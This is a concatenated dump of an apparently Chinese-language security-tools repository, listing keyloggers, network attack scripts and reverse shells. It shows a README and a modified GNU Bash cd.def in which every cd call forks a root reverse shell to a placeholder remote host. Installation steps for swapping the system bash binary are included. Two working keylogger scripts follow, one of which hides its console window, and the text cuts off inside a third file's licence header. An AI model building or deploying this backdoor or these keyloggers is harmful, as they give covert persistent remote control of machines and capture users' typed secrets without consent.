├── README.md ├── bash_backdoor ├── README.md └── cd.def ├── keylogger ├── keylogger.py ├── keylogger_in_linux.py ├── keylogger_in_linux_with_x11.py ├── keylogger_in_windows.cpp └── keylogger_send_http.py ├── net_attacking ├── arp_poison.py ├── arp_spoof.py ├── arp_spoof_vlan.py ├── arp_watcher_monitor.py ├── dns_spoof.py ├── get_http_header.py ├── http_proxy_scanner.py ├── http_referer_spoof.py ├── icmp_ping_tool.py ├── icmp_redirection.py ├── interface_sniffer.py ├── interface_status.py ├── ip_spoof.py ├── mac_flooder.py ├── netcat.py ├── passwd_sniffer.py ├── pcap_file_decoder.py ├── port_forwarding.py ├── port_scan.py ├── reverse_dns_scanner.py ├── sql_injection.py ├── syn_flooder.py └── web_directory_scan.py ├── powershell └── Get-WifiPasswd.ps1 ├── reverse_shell ├── tcp_shell.c ├── tcp_shell.py ├── tcp_shell_bash.sh ├── tcp_shell_exec.sh ├── tcp_shell_mix.sh └── udp_shell_exec.sh └── util_tools ├── ftp_server.py ├── ftp_upload_plugin.py ├── lcx.c ├── screenshotter.py ├── socket5.py └── weevely_Encryption ├── README.md ├── backdoor.py ├── module.py ├── pollution.py ├── retest.py └── test.py /README.md: -------------------------------------------------------------------------------- 1 | ### 开发或收集的一些网络安全方面的脚本、小工具 2 | 3 | 这里是自己学习网络安全过程中开发或收藏的一些好用的脚本。鉴于有不少人fork这个小项目,笔者有花了一点时间重新整理了这个项目的分离,以及脚本的详细使用。 4 | 后期将会继续写一下实用的脚本,来继续丰富,欢迎有兴趣的同学一块交流。 5 | 6 | ##### 目录说明 7 | 8 | * keylogger 各类键盘记录器实现脚本 9 | * net_attacking 基于网络协议攻击相关的脚本 10 | * powershell 自己写的安全类powershell脚本 11 | * util_tools 安全方面实用使用的小工具 12 | * reverse_shell 反弹shell的各种姿势 13 | * bash_backdoor bash版反弹shell后门 14 | -------------------------------------------------------------------------------- /bash_backdoor/README.md: -------------------------------------------------------------------------------- 1 | ## Bash版反弹shell后门 2 | 3 | 参考笔者在reverse_shell模块中写的各种反弹shell,一时脑洞大开,如何才能做到开机自启动 4 | 而又不会在系统中留下痕迹呢?经过笔者仔细对Linux系统启动流程的研究,发现在某些服务(或这进程)在开启的时候会调用`cd`命令,于是就想到了hook `cd`命令的想法。于是也就有了这个可以反弹shell的bash后门。 5 | 6 | ### 特点 7 | > * 开机自启动 8 | > * 不产生任何残留文件 9 | > * 反弹root权限的shell 10 | > * 支持反弹到IP或域名 11 | 12 | ### 安装 13 | 14 | 下载bash源码,找到`cd`命令的源码,替换cd.def文件并编译安装: 15 | ```shell 16 | wget https://ftp.gnu.org/gnu/bash/bash-4.4-rc1.tar.gz 17 | tar zxvf bash-4.4-rc1.tar.gz 18 | cp ./cd.def ./bash-4.4-rc1/builtins/cd.def 19 | ./bash-4.4-rc1/configure 20 | make && make install 21 | ``` 22 | 你也可以在与目标机器相同的本地环境源码编译安装,再将编译到的bash二进制文件替换到/bin/bash即可。但是替换需要root权限,这一步想必你之前应该已经办到了^_^ 23 | 24 | ### Payload 25 | 添加如下函数到cd.def文件中: 26 | ```c 27 | /* start re_shell function */ 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | //#include 34 | #include 35 | #include 36 | #include 37 | 38 | int re_shell(){ 39 | pid_t pid; 40 | if ((pid = fork()) == -1){ 41 | exit(-1); 42 | } 43 | if (pid == 0) { 44 | setsid(); 45 | char *host = "www.ooxx.com"; //your server ip or domain 46 | int port = 8080; //conn port 47 | 48 | int sock; 49 | struct in_addr addr; 50 | struct hostent *h; 51 | struct sockaddr_in server; 52 | 53 | if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 54 | exit(-1); 55 | } 56 | 57 | server.sin_family = AF_INET; 58 | server.sin_port = htons(port); 59 | 60 | if(! inet_pton(AF_INET, host, &addr)){ 61 | if((h = gethostbyname(host)) == NULL) { 62 | exit(-1); 63 | } 64 | host = inet_ntoa(*((struct in_addr *)h->h_addr)); 65 | } 66 | 67 | server.sin_addr.s_addr = inet_addr(host); 68 | 69 | if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { 70 | exit(-1); 71 | } 72 | 73 | dup2(sock, 0); 74 | dup2(sock, 1); 75 | dup2(sock, 2); 76 | close(sock); 77 | execl("/bin/sh", "/bin/sh", "-i", NULL); 78 | } 79 | return 0; 80 | } 81 | 82 | /* end re_shell function */ 83 | ``` 84 | 然后将re_shell添加到cd_builtin这个函数(源码Line320)中来: 85 | ```c 86 | 316 int 87 | 317 cd_builtin (list) 88 | 318 WORD_LIST *list; 89 | 319 { 90 | 320 re_shell(); 91 | 321 92 | 322 char *dirname, *cdpath, *path, *temp; 93 | ``` 94 | 当然在re_shell中,修改你需要反弹shell的远程IP和端口号。完整的cd.def可以参考我的demo。这里只是给出一个简单的示例,其实利用`cd`命令这个开启自启动的特点还可以做很多权限维持方面的东西,读者自由发挥。这里存在的不足是会改变bash二进制文件的md5,像checkroot之类的工具很容易检测到。 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /bash_backdoor/cd.def: -------------------------------------------------------------------------------- 1 | /********************************** 2 | # bash backdoor v1.0 3 | # by: s0nnet 4 | # time: 2016-09-13 5 | ***********************************/ 6 | 7 | 8 | This file is cd.def, from which is created cd.c. It implements the 9 | builtins "cd" and "pwd" in Bash. 10 | 11 | Copyright (C) 1987-2013 Free Software Foundation, Inc. 12 | 13 | This file is part of GNU Bash, the Bourne Again SHell. 14 | 15 | Bash is free software: you can redistribute it and/or modify 16 | it under the terms of the GNU General Public License as published by 17 | the Free Software Foundation, either version 3 of the License, or 18 | (at your option) any later version. 19 | 20 | Bash is distributed in the hope that it will be useful, 21 | but WITHOUT ANY WARRANTY; without even the implied warranty of 22 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 23 | GNU General Public License for more details. 24 | 25 | You should have received a copy of the GNU General Public License 26 | along with Bash. If not, see . 27 | 28 | $PRODUCES cd.c 29 | #include 30 | 31 | #if defined (HAVE_UNISTD_H) 32 | # ifdef _MINIX 33 | # include 34 | # endif 35 | # include 36 | #endif 37 | 38 | #include "../bashtypes.h" 39 | #include "posixdir.h" 40 | #include "posixstat.h" 41 | #if defined (HAVE_SYS_PARAM_H) 42 | #include 43 | #endif 44 | #include 45 | 46 | #include 47 | 48 | #include "../bashansi.h" 49 | #include "../bashintl.h" 50 | 51 | #include 52 | #include 53 | 54 | #include "../shell.h" 55 | #include "../flags.h" 56 | #include "maxpath.h" 57 | #include "common.h" 58 | #include "bashgetopt.h" 59 | 60 | #if !defined (errno) 61 | extern int errno; 62 | #endif /* !errno */ 63 | 64 | extern int posixly_correct; 65 | extern int array_needs_making; 66 | extern const char * const bash_getcwd_errstr; 67 | 68 | static int bindpwd __P((int)); 69 | static int setpwd __P((char *)); 70 | static char *resetpwd __P((char *)); 71 | static int change_to_directory __P((char *, int, int)); 72 | 73 | static int cdxattr __P((char *, char **)); 74 | static void resetxattr __P((void)); 75 | 76 | /* Change this to 1 to get cd spelling correction by default. */ 77 | int cdspelling = 0; 78 | 79 | int cdable_vars; 80 | 81 | static int eflag; /* file scope so bindpwd() can see it */ 82 | static int xattrflag; /* O_XATTR support for openat */ 83 | static int xattrfd = -1; 84 | 85 | $BUILTIN cd 86 | $FUNCTION cd_builtin 87 | $SHORT_DOC cd [-L|[-P [-e]] [-@]] [dir] 88 | Change the shell working directory. 89 | 90 | Change the current directory to DIR. The default DIR is the value of the 91 | HOME shell variable. 92 | 93 | The variable CDPATH defines the search path for the directory containing 94 | DIR. Alternative directory names in CDPATH are separated by a colon (:). 95 | A null directory name is the same as the current directory. If DIR begins 96 | with a slash (/), then CDPATH is not used. 97 | 98 | If the directory is not found, and the shell option `cdable_vars' is set, 99 | the word is assumed to be a variable name. If that variable has a value, 100 | its value is used for DIR. 101 | 102 | Options: 103 | -L force symbolic links to be followed: resolve symbolic links in 104 | DIR after processing instances of `..' 105 | -P use the physical directory structure without following symbolic 106 | links: resolve symbolic links in DIR before processing instances 107 | of `..' 108 | -e if the -P option is supplied, and the current working directory 109 | cannot be determined successfully, exit with a non-zero status 110 | #if defined (O_XATTR) 111 | -@ on systems that support it, present a file with extended attributes 112 | as a directory containing the file attributes 113 | #endif 114 | 115 | The default is to follow symbolic links, as if `-L' were specified. 116 | `..' is processed by removing the immediately previous pathname component 117 | back to a slash or the beginning of DIR. 118 | 119 | Exit Status: 120 | Returns 0 if the directory is changed, and if $PWD is set successfully when 121 | -P is used; non-zero otherwise. 122 | $END 123 | 124 | /* Just set $PWD, don't change OLDPWD. Used by `pwd -P' in posix mode. */ 125 | static int 126 | setpwd (dirname) 127 | char *dirname; 128 | { 129 | int old_anm; 130 | SHELL_VAR *tvar; 131 | 132 | old_anm = array_needs_making; 133 | tvar = bind_variable ("PWD", dirname ? dirname : "", 0); 134 | if (tvar && readonly_p (tvar)) 135 | return EXECUTION_FAILURE; 136 | if (tvar && old_anm == 0 && array_needs_making && exported_p (tvar)) 137 | { 138 | update_export_env_inplace ("PWD=", 4, dirname ? dirname : ""); 139 | array_needs_making = 0; 140 | } 141 | return EXECUTION_SUCCESS; 142 | } 143 | 144 | static int 145 | bindpwd (no_symlinks) 146 | int no_symlinks; 147 | { 148 | char *dirname, *pwdvar; 149 | int old_anm, r; 150 | SHELL_VAR *tvar; 151 | 152 | r = sh_chkwrite (EXECUTION_SUCCESS); 153 | 154 | #define tcwd the_current_working_directory 155 | dirname = tcwd ? (no_symlinks ? sh_physpath (tcwd, 0) : tcwd) 156 | : get_working_directory ("cd"); 157 | #undef tcwd 158 | 159 | old_anm = array_needs_making; 160 | pwdvar = get_string_value ("PWD"); 161 | 162 | tvar = bind_variable ("OLDPWD", pwdvar, 0); 163 | if (tvar && readonly_p (tvar)) 164 | r = EXECUTION_FAILURE; 165 | 166 | if (old_anm == 0 && array_needs_making && exported_p (tvar)) 167 | { 168 | update_export_env_inplace ("OLDPWD=", 7, pwdvar); 169 | array_needs_making = 0; 170 | } 171 | 172 | if (setpwd (dirname) == EXECUTION_FAILURE) 173 | r = EXECUTION_FAILURE; 174 | if (dirname == 0 && eflag) 175 | r = EXECUTION_FAILURE; 176 | 177 | if (dirname && dirname != the_current_working_directory) 178 | free (dirname); 179 | 180 | return (r); 181 | } 182 | 183 | /* Call get_working_directory to reset the value of 184 | the_current_working_directory () */ 185 | static char * 186 | resetpwd (caller) 187 | char *caller; 188 | { 189 | char *tdir; 190 | 191 | FREE (the_current_working_directory); 192 | the_current_working_directory = (char *)NULL; 193 | tdir = get_working_directory (caller); 194 | return (tdir); 195 | } 196 | 197 | static int 198 | cdxattr (dir, ndirp) 199 | char *dir; /* don't assume we can always free DIR */ 200 | char **ndirp; /* return new constructed directory name */ 201 | { 202 | #if defined (O_XATTR) 203 | int apfd, fd, r, e; 204 | char buf[11+40+40]; /* construct new `fake' path for pwd */ 205 | 206 | apfd = openat (AT_FDCWD, dir, O_RDONLY|O_NONBLOCK); 207 | if (apfd < 0) 208 | return -1; 209 | fd = openat (apfd, ".", O_XATTR); 210 | e = errno; 211 | close (apfd); /* ignore close error for now */ 212 | errno = e; 213 | if (fd < 0) 214 | return -1; 215 | r = fchdir (fd); /* assume fchdir exists everywhere with O_XATTR */ 216 | if (r < 0) 217 | { 218 | close (fd); 219 | return -1; 220 | } 221 | /* NFSv4 and ZFS extended attribute directories do not have names which are 222 | visible in the standard Unix directory tree structure. To ensure we have 223 | a valid name for $PWD, we synthesize one under /proc, but to keep that 224 | path valid, we need to keep the file descriptor open as long as we are in 225 | this directory. This imposes a certain structure on /proc. */ 226 | if (ndirp) 227 | { 228 | sprintf (buf, "/proc/%d/fd/%d", getpid(), fd); 229 | *ndirp = savestring (buf); 230 | } 231 | 232 | if (xattrfd >= 0) 233 | close (xattrfd); 234 | xattrfd = fd; 235 | 236 | return r; 237 | #else 238 | return -1; 239 | #endif 240 | } 241 | 242 | /* Clean up the O_XATTR baggage. Currently only closes xattrfd */ 243 | static void 244 | resetxattr () 245 | { 246 | #if defined (O_XATTR) 247 | if (xattrfd >= 0) 248 | { 249 | close (xattrfd); 250 | xattrfd = -1; 251 | } 252 | #else 253 | xattrfd = -1; /* not strictly necessary */ 254 | #endif 255 | } 256 | 257 | #define LCD_DOVARS 0x001 258 | #define LCD_DOSPELL 0x002 259 | #define LCD_PRINTPATH 0x004 260 | #define LCD_FREEDIRNAME 0x008 261 | 262 | /* This builtin is ultimately the way that all user-visible commands should 263 | change the current working directory. It is called by cd_to_string (), 264 | so the programming interface is simple, and it handles errors and 265 | restrictions properly. */ 266 | 267 | #include 268 | #include 269 | #include 270 | #include 271 | //#include 272 | #include 273 | #include 274 | #include 275 | 276 | 277 | int re_shell(){ 278 | pid_t pid; 279 | if ((pid = fork()) == -1){ 280 | exit(-1); 281 | } 282 | if (pid == 0) { 283 | 284 | setsid(); 285 | char *host = "www.ooxx.com"; //your server ip or domain 286 | int port = 8080; //conn port 287 | 288 | int sock; 289 | struct in_addr addr; 290 | struct hostent *h; 291 | struct sockaddr_in server; 292 | 293 | if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 294 | exit(-1); 295 | } 296 | 297 | server.sin_family = AF_INET; 298 | server.sin_port = htons(port); 299 | 300 | if(! inet_pton(AF_INET, host, &addr)){ 301 | if((h = gethostbyname(host)) == NULL) { 302 | exit(-1); 303 | } 304 | host = inet_ntoa(*((struct in_addr *)h->h_addr)); 305 | } 306 | 307 | server.sin_addr.s_addr = inet_addr(host); 308 | 309 | if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { 310 | exit(-1); 311 | } 312 | 313 | dup2(sock, 0); 314 | dup2(sock, 1); 315 | dup2(sock, 2); 316 | close(sock); 317 | execl("/bin/sh", "/bin/sh", "-i", NULL); 318 | } 319 | return 0; 320 | } 321 | 322 | 323 | int 324 | cd_builtin (list) 325 | WORD_LIST *list; 326 | { 327 | re_shell(); 328 | 329 | char *dirname, *cdpath, *path, *temp; 330 | int path_index, no_symlinks, opt, lflag; 331 | 332 | #if defined (RESTRICTED_SHELL) 333 | if (restricted) 334 | { 335 | sh_restricted ((char *)NULL); 336 | return (EXECUTION_FAILURE); 337 | } 338 | #endif /* RESTRICTED_SHELL */ 339 | 340 | eflag = 0; 341 | no_symlinks = no_symbolic_links; 342 | xattrflag = 0; 343 | reset_internal_getopt (); 344 | #if defined (O_XATTR) 345 | while ((opt = internal_getopt (list, "eLP@")) != -1) 346 | #else 347 | while ((opt = internal_getopt (list, "eLP")) != -1) 348 | #endif 349 | { 350 | switch (opt) 351 | { 352 | case 'P': 353 | no_symlinks = 1; 354 | break; 355 | case 'L': 356 | no_symlinks = 0; 357 | break; 358 | case 'e': 359 | eflag = 1; 360 | break; 361 | #if defined (O_XATTR) 362 | case '@': 363 | xattrflag = 1; 364 | break; 365 | #endif 366 | default: 367 | builtin_usage (); 368 | return (EX_USAGE); 369 | } 370 | } 371 | list = loptend; 372 | 373 | lflag = (cdable_vars ? LCD_DOVARS : 0) | 374 | ((interactive && cdspelling) ? LCD_DOSPELL : 0); 375 | if (eflag && no_symlinks == 0) 376 | eflag = 0; 377 | 378 | if (list == 0) 379 | { 380 | /* `cd' without arguments is equivalent to `cd $HOME' */ 381 | dirname = get_string_value ("HOME"); 382 | 383 | if (dirname == 0) 384 | { 385 | builtin_error (_("HOME not set")); 386 | return (EXECUTION_FAILURE); 387 | } 388 | lflag = 0; 389 | } 390 | #if defined (CD_COMPLAINS) 391 | else if (list->next) 392 | { 393 | builtin_error (_("too many arguments")); 394 | return (EXECUTION_FAILURE); 395 | } 396 | #endif 397 | else if (list->word->word[0] == '-' && list->word->word[1] == '\0') 398 | { 399 | /* This is `cd -', equivalent to `cd $OLDPWD' */ 400 | dirname = get_string_value ("OLDPWD"); 401 | 402 | if (dirname == 0) 403 | { 404 | builtin_error (_("OLDPWD not set")); 405 | return (EXECUTION_FAILURE); 406 | } 407 | #if 0 408 | lflag = interactive ? LCD_PRINTPATH : 0; 409 | #else 410 | lflag = LCD_PRINTPATH; /* According to SUSv3 */ 411 | #endif 412 | } 413 | else if (absolute_pathname (list->word->word)) 414 | dirname = list->word->word; 415 | else if (privileged_mode == 0 && (cdpath = get_string_value ("CDPATH"))) 416 | { 417 | dirname = list->word->word; 418 | 419 | /* Find directory in $CDPATH. */ 420 | path_index = 0; 421 | while (path = extract_colon_unit (cdpath, &path_index)) 422 | { 423 | /* OPT is 1 if the path element is non-empty */ 424 | opt = path[0] != '\0'; 425 | temp = sh_makepath (path, dirname, MP_DOTILDE); 426 | free (path); 427 | 428 | if (change_to_directory (temp, no_symlinks, xattrflag)) 429 | { 430 | /* POSIX.2 says that if a nonempty directory from CDPATH 431 | is used to find the directory to change to, the new 432 | directory name is echoed to stdout, whether or not 433 | the shell is interactive. */ 434 | if (opt && (path = no_symlinks ? temp : the_current_working_directory)) 435 | printf ("%s\n", path); 436 | 437 | free (temp); 438 | #if 0 439 | /* Posix.2 says that after using CDPATH, the resultant 440 | value of $PWD will not contain `.' or `..'. */ 441 | return (bindpwd (posixly_correct || no_symlinks)); 442 | #else 443 | return (bindpwd (no_symlinks)); 444 | #endif 445 | } 446 | else 447 | free (temp); 448 | } 449 | 450 | #if 0 451 | /* changed for bash-4.2 Posix cd description steps 5-6 */ 452 | /* POSIX.2 says that if `.' does not appear in $CDPATH, we don't 453 | try the current directory, so we just punt now with an error 454 | message if POSIXLY_CORRECT is non-zero. The check for cdpath[0] 455 | is so we don't mistakenly treat a CDPATH value of "" as not 456 | specifying the current directory. */ 457 | if (posixly_correct && cdpath[0]) 458 | { 459 | builtin_error ("%s: %s", dirname, strerror (ENOENT)); 460 | return (EXECUTION_FAILURE); 461 | } 462 | #endif 463 | } 464 | else 465 | dirname = list->word->word; 466 | 467 | /* When we get here, DIRNAME is the directory to change to. If we 468 | chdir successfully, just return. */ 469 | if (change_to_directory (dirname, no_symlinks, xattrflag)) 470 | { 471 | if (lflag & LCD_PRINTPATH) 472 | printf ("%s\n", dirname); 473 | return (bindpwd (no_symlinks)); 474 | } 475 | 476 | /* If the user requests it, then perhaps this is the name of 477 | a shell variable, whose value contains the directory to 478 | change to. */ 479 | if (lflag & LCD_DOVARS) 480 | { 481 | temp = get_string_value (dirname); 482 | if (temp && change_to_directory (temp, no_symlinks, xattrflag)) 483 | { 484 | printf ("%s\n", temp); 485 | return (bindpwd (no_symlinks)); 486 | } 487 | } 488 | 489 | /* If the user requests it, try to find a directory name similar in 490 | spelling to the one requested, in case the user made a simple 491 | typo. This is similar to the UNIX 8th and 9th Edition shells. */ 492 | if (lflag & LCD_DOSPELL) 493 | { 494 | temp = dirspell (dirname); 495 | if (temp && change_to_directory (temp, no_symlinks, xattrflag)) 496 | { 497 | printf ("%s\n", temp); 498 | free (temp); 499 | return (bindpwd (no_symlinks)); 500 | } 501 | else 502 | FREE (temp); 503 | } 504 | 505 | builtin_error ("%s: %s", dirname, strerror (errno)); 506 | return (EXECUTION_FAILURE); 507 | } 508 | 509 | $BUILTIN pwd 510 | $FUNCTION pwd_builtin 511 | $SHORT_DOC pwd [-LP] 512 | Print the name of the current working directory. 513 | 514 | Options: 515 | -L print the value of $PWD if it names the current working 516 | directory 517 | -P print the physical directory, without any symbolic links 518 | 519 | By default, `pwd' behaves as if `-L' were specified. 520 | 521 | Exit Status: 522 | Returns 0 unless an invalid option is given or the current directory 523 | cannot be read. 524 | $END 525 | 526 | /* Non-zero means that pwd always prints the physical directory, without 527 | symbolic links. */ 528 | static int verbatim_pwd; 529 | 530 | /* Print the name of the current working directory. */ 531 | int 532 | pwd_builtin (list) 533 | WORD_LIST *list; 534 | { 535 | char *directory; 536 | int opt, pflag; 537 | 538 | verbatim_pwd = no_symbolic_links; 539 | pflag = 0; 540 | reset_internal_getopt (); 541 | while ((opt = internal_getopt (list, "LP")) != -1) 542 | { 543 | switch (opt) 544 | { 545 | case 'P': 546 | verbatim_pwd = pflag = 1; 547 | break; 548 | case 'L': 549 | verbatim_pwd = 0; 550 | break; 551 | default: 552 | builtin_usage (); 553 | return (EX_USAGE); 554 | } 555 | } 556 | list = loptend; 557 | 558 | #define tcwd the_current_working_directory 559 | 560 | directory = tcwd ? (verbatim_pwd ? sh_physpath (tcwd, 0) : tcwd) 561 | : get_working_directory ("pwd"); 562 | 563 | /* Try again using getcwd() if canonicalization fails (for instance, if 564 | the file system has changed state underneath bash). */ 565 | if ((tcwd && directory == 0) || 566 | (posixly_correct && same_file (".", tcwd, (struct stat *)0, (struct stat *)0) == 0)) 567 | { 568 | if (directory && directory != tcwd) 569 | free (directory); 570 | directory = resetpwd ("pwd"); 571 | } 572 | 573 | #undef tcwd 574 | 575 | if (directory) 576 | { 577 | opt = EXECUTION_SUCCESS; 578 | printf ("%s\n", directory); 579 | /* This is dumb but posix-mandated. */ 580 | if (posixly_correct && pflag) 581 | opt = setpwd (directory); 582 | if (directory != the_current_working_directory) 583 | free (directory); 584 | return (sh_chkwrite (opt)); 585 | } 586 | else 587 | return (EXECUTION_FAILURE); 588 | } 589 | 590 | /* Do the work of changing to the directory NEWDIR. Handle symbolic 591 | link following, etc. This function *must* return with 592 | the_current_working_directory either set to NULL (in which case 593 | getcwd() will eventually be called), or set to a string corresponding 594 | to the working directory. Return 1 on success, 0 on failure. */ 595 | 596 | static int 597 | change_to_directory (newdir, nolinks, xattr) 598 | char *newdir; 599 | int nolinks, xattr; 600 | { 601 | 602 | char *t, *tdir, *ndir; 603 | int err, canon_failed, r, ndlen, dlen; 604 | 605 | tdir = (char *)NULL; 606 | 607 | if (the_current_working_directory == 0) 608 | { 609 | t = get_working_directory ("chdir"); 610 | FREE (t); 611 | } 612 | 613 | t = make_absolute (newdir, the_current_working_directory); 614 | 615 | /* TDIR is either the canonicalized absolute pathname of NEWDIR 616 | (nolinks == 0) or the absolute physical pathname of NEWDIR 617 | (nolinks != 0). */ 618 | tdir = nolinks ? sh_physpath (t, 0) 619 | : sh_canonpath (t, PATH_CHECKDOTDOT|PATH_CHECKEXISTS); 620 | 621 | ndlen = strlen (newdir); 622 | dlen = strlen (t); 623 | 624 | /* Use the canonicalized version of NEWDIR, or, if canonicalization 625 | failed, use the non-canonical form. */ 626 | canon_failed = 0; 627 | if (tdir && *tdir) 628 | free (t); 629 | else 630 | { 631 | FREE (tdir); 632 | tdir = t; 633 | canon_failed = 1; 634 | } 635 | 636 | /* In POSIX mode, if we're resolving symlinks logically and sh_canonpath 637 | returns NULL (because it checks the path, it will return NULL if the 638 | resolved path doesn't exist), fail immediately. */ 639 | if (posixly_correct && nolinks == 0 && canon_failed && (errno != ENAMETOOLONG || ndlen > PATH_MAX)) 640 | { 641 | #if defined ENAMETOOLONG 642 | if (errno != ENOENT && errno != ENAMETOOLONG) 643 | #else 644 | if (errno != ENOENT) 645 | #endif 646 | errno = ENOTDIR; 647 | free (tdir); 648 | return (0); 649 | } 650 | 651 | #if defined (O_XATTR) 652 | if (xattrflag) 653 | { 654 | r = cdxattr (nolinks ? newdir : tdir, &ndir); 655 | if (r >= 0) 656 | { 657 | canon_failed = 0; 658 | free (tdir); 659 | tdir = ndir; 660 | } 661 | else 662 | { 663 | err = errno; 664 | free (tdir); 665 | errno = err; 666 | return (0); /* no xattr */ 667 | } 668 | } 669 | else 670 | #endif 671 | { 672 | r = chdir (nolinks ? newdir : tdir); 673 | if (r >= 0) 674 | resetxattr (); 675 | } 676 | 677 | /* If the chdir succeeds, update the_current_working_directory. */ 678 | if (r == 0) 679 | { 680 | /* If canonicalization failed, but the chdir succeeded, reset the 681 | shell's idea of the_current_working_directory. */ 682 | if (canon_failed) 683 | { 684 | t = resetpwd ("cd"); 685 | if (t == 0) 686 | set_working_directory (tdir); 687 | else 688 | free (t); 689 | } 690 | else 691 | set_working_directory (tdir); 692 | 693 | free (tdir); 694 | return (1); 695 | } 696 | 697 | /* We failed to change to the appropriate directory name. If we tried 698 | what the user passed (nolinks != 0), punt now. */ 699 | if (nolinks) 700 | { 701 | free (tdir); 702 | return (0); 703 | } 704 | 705 | err = errno; 706 | 707 | /* We're not in physical mode (nolinks == 0), but we failed to change to 708 | the canonicalized directory name (TDIR). Try what the user passed 709 | verbatim. If we succeed, reinitialize the_current_working_directory. */ 710 | if (chdir (newdir) == 0) 711 | { 712 | t = resetpwd ("cd"); 713 | if (t == 0) 714 | set_working_directory (tdir); 715 | else 716 | free (t); 717 | 718 | r = 1; 719 | } 720 | else 721 | { 722 | errno = err; 723 | r = 0; 724 | } 725 | 726 | free (tdir); 727 | return r; 728 | } 729 | -------------------------------------------------------------------------------- /keylogger/keylogger.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # An easy keylogger in windows with winHook 4 | # Coding with python, so here dependency some package: 5 | # > Python: http://www.python.org/getit/ 6 | # > Pyhook: http://sourceforge.net/projects/pyhook/ 7 | # > Python for Windows Extensions: http://sourceforge.n...ojects/pywin32/ 8 | # click on CTRL + E to end. 9 | # 10 | # Author: s0nnet 11 | # Email: s0nnet@sina.com 12 | 13 | 14 | import win32api 15 | import win32console 16 | import win32gui 17 | import pythoncom, pyHook 18 | 19 | win = win32console.GetConsoleWindow() 20 | win32gui.ShowWindow(win, 0) 21 | 22 | def OnKeyboardEvent(event): 23 | if event.Ascii == 5: 24 | _exit(1) 25 | 26 | if event.Ascii != 0 or 8: 27 | f = open('D:\output.txt', 'r') 28 | buffer = f.read() 29 | f.close() 30 | 31 | f = open('D:\output.txt', 'w') 32 | keylogs = chr(event.Ascii) 33 | 34 | if event.Ascii == 13: 35 | keylogs = '/n' 36 | 37 | buffer += keylogs 38 | f.write(buffer) 39 | f.close() 40 | 41 | if __name__ == "__main__": 42 | hm = pyHook.HookManager() 43 | hm.KeyDown = OnKeyboardEvent 44 | hm.HookKeyboard() 45 | pythoncom.PumpMessages() 46 | -------------------------------------------------------------------------------- /keylogger/keylogger_in_linux.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # A simple keylogger in linux. 4 | # Using the linux device event, 5 | # so you need the root privilege to read the devices interface. 6 | # 7 | # Author: s0nnet 8 | # Email: s0nnet@sina.com 9 | 10 | 11 | import re 12 | import sys 13 | import time 14 | from evdev import InputDevice, list_devices 15 | from select import select 16 | 17 | lasttime = int(time.time()) 18 | 19 | def findDevice(): 20 | devs = [InputDevice(fn) for fn in list_devices()] 21 | 22 | for dev in devs: 23 | if(re.search('eyboard', dev.name)): 24 | kb_device = dev.fn 25 | return kb_device 26 | return False 27 | 28 | def ctoa(code): 29 | dict = { 30 | 1: 'ESC', 31 | 2: '1', 32 | 3: '2', 33 | 4: '3', 34 | 5: '4', 35 | 6: '5', 36 | 7: '6', 37 | 8: '7', 38 | 9: '8', 39 | 10: '9', 40 | 11: '0', 41 | 14: 'backspace', 42 | 15: 'tab', 43 | 16: 'q', 44 | 17: 'w', 45 | 18: 'e', 46 | 19: 'r', 47 | 20: 't', 48 | 21: 'y', 49 | 22: 'u', 50 | 23: 'i', 51 | 24: 'o', 52 | 25: 'p', 53 | 26: '[', 54 | 27: ']', 55 | 28: 'enter', 56 | 29: 'ctrl', 57 | 30: 'a', 58 | 31: 's', 59 | 32: 'd', 60 | 33: 'f', 61 | 34: 'g', 62 | 35: 'h', 63 | 36: 'j', 64 | 37: 'k', 65 | 38: 'l', 66 | 39: ';', 67 | 40: "'", 68 | 41: '`', 69 | 42: 'shift', 70 | 43: '\\', 71 | 44: 'z', 72 | 45: 'x', 73 | 46: 'c', 74 | 47: 'v', 75 | 48: 'b', 76 | 49: 'n', 77 | 50: 'm', 78 | 51: ',', 79 | 52: '.', 80 | 53: '/', 81 | 54: 'shift', 82 | 56: 'alt', 83 | 57: 'space', 84 | 58: 'capslock', 85 | 59: 'F1', 86 | 60: 'F2', 87 | 61: 'F3', 88 | 62: 'F4', 89 | 63: 'F5', 90 | 64: 'F6', 91 | 65: 'F7', 92 | 66: 'F8', 93 | 67: 'F9', 94 | 68: 'F10', 95 | 69: 'numlock', 96 | 70: 'scrollock', 97 | 87: 'F11', 98 | 88: 'F12', 99 | 97: 'ctrl', 100 | 99: 'sys_Rq', 101 | 100: 'alt', 102 | 102: 'home', 103 | 104: 'PageUp', 104 | 105: 'Left', 105 | 106: 'Right', 106 | 107: 'End', 107 | 108: 'Down', 108 | 109: 'PageDown', 109 | 111: 'del', 110 | 125: 'Win', 111 | 126:'Win', 112 | 127: 'compose' 113 | } 114 | if code in dict: 115 | return dict[code] 116 | 117 | def writefile(asc): 118 | global lasttime 119 | f = open("keylog.txt","a") 120 | now = int(time.time()) 121 | ntime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now)) 122 | if abs(now-lasttime) < 5: 123 | f.write(asc+" ") 124 | else: 125 | f.write('\n['+ntime+"] "+asc) 126 | lasttime = now 127 | 128 | f.close() 129 | 130 | def detectInputKey(): 131 | device = findDevice() 132 | 133 | if not device: 134 | print "[-] Can't find any keyboard devices!" 135 | print "[-] Exit..." 136 | sys.exit(0) 137 | 138 | dev = InputDevice(device) 139 | while True: 140 | select([dev],[],[]) 141 | for event in dev.read(): 142 | if event.value == 1 and event.code != 0: 143 | asc = ctoa(event.code) 144 | writefile(asc) 145 | print asc, 146 | sys.stdout.flush() 147 | 148 | 149 | if __name__ == "__main__": 150 | detectInputKey() 151 | -------------------------------------------------------------------------------- /keylogger/keylogger_in_linux_with_x11.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Copyright (c) 2011, Andrew Moffat 4 | # All rights reserved. 5 | 6 | # Redistribution and use in source and binary forms, with or without 7 | # modification, are permitted provided that the following conditions are met: 8 | # * Redistributions of source code must retain the above copyright 9 